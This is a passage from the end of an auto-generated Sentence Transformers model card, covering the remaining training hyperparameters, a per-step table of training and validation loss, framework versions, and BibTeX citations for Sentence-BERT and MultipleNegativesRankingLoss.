- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
</details>
### Training Logs
| Epoch | Step | Training Loss | Validation Loss |
|:------:|:----:|:-------------:|:---------------:|
| 0.0414 | 100 | 1.0176 | 0.3260 |
| 0.0827 | 200 | 0.373 | 0.3260 |
| 0.1241 | 300 | 0.376 | 0.2971 |
| 0.1655 | 400 | 0.3419 | 0.3132 |
| 0.2069 | 500 | 0.3402 | 0.2920 |
| 0.2482 | 600 | 0.3441 | 0.2975 |
| 0.2896 | 700 | 0.3337 | 0.3587 |
| 0.3310 | 800 | 0.3432 | 0.2844 |
| 0.3724 | 900 | 0.3338 | 0.2810 |
| 0.4137 | 1000 | 0.3349 | 0.2990 |
| 0.4551 | 1100 | 0.3172 | 0.2890 |
| 0.4965 | 1200 | 0.3191 | 0.2753 |
| 0.5379 | 1300 | 0.3122 | 0.2780 |
| 0.5792 | 1400 | 0.3169 | 0.2759 |
| 0.6206 | 1500 | 0.3137 | 0.2736 |
| 0.6620 | 1600 | 0.3107 | 0.2651 |
| 0.7034 | 1700 | 0.2981 | 0.2752 |
| 0.7447 | 1800 | 0.3173 | 0.2687 |
| 0.7861 | 1900 | 0.2996 | 0.2692 |
| 0.8275 | 2000 | 0.2877 | 0.2695 |
| 0.8688 | 2100 | 0.2953 | 0.2752 |
| 0.9102 | 2200 | 0.289 | 0.2694 |
| 0.9516 | 2300 | 0.2741 | 0.2651 |
| 0.9930 | 2400 | 0.3358 | 0.2605 |
### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### MultipleNegativesRankingLoss
```bibtex
@misc{henderson2017efficient,
title={Efficient Natural Language Response Suggestion for Smart Reply},
author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
year={2017},
eprint={1705.00652},
archivePrefix={arXiv},
primaryClass={cs.CL}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->